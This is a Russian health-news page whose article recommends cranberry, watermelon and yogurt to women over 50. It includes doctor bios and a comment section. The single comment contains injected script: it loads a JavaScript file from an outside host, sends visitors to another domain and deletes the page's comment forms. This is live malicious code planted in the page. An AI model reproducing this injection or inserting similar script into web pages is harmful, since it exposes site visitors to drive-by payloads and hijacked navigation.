Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Супер-еда для женщин стар...  >>  Супер-еда для женщин старше 50
 
Обратная связь
 

Супер-еда для женщин старше 50

Размер шрифта
22 ноября 2011 08:00
  • google_analytics: false
  • Нравится

3 супер продукта для женщин, которые не хотят стареть

Женщина после 50 сжигает в день на 200 ккал меньше, чем в молодости. Это связано с тем, что во время менопаузы эстроген в яичниках перестает вырабатываться в необходимом количестве. Организм обращается к другим источникам эстрогена – к жировым клеткам, которые вырабатывают эстроген. Жировые клетки начинают расти. Вместе с ними растет и обхват вашей талии.

Сушеная и свежая клюква для гормонов и от лишнего веса

Женщинам в 50 лет необходимы альтернативные источники эстрогена – например, фитоэстрогены, которые содержатся в клюкве. Суточная доза – 30 г.

Арбуз для здоровья сосудов и от высокого давления

В арбузах есть ликопин, бета-каротин и цитрулин. Цитрулин под действием ферментов превращается в аргинин. Аргинин – предшественник окиси азота. Он расширяет сосуды и снижает кровяное давление.

Йогурт для костей и от переломов

Йогурт – это источник кальция и витамина D. Эти микроэлементы необходимы для прочности костей, особенно после 50 лет. Суточная доза – 1200 мг или 2,5 стакана обезжиренного йогурта в упаковке 250 мл.

Лучше выбирать натуральный йогурт – он менее калориен, в два раза богаче кальцием и не содержит сахара. Чтобы йогурт был вкуснее, добавьте фрукты.

Видеосюжеты по теме:

 СуперЕДА для женщин старше 50. Продукты-защитники

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

01 июля 2015 в 00:05

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.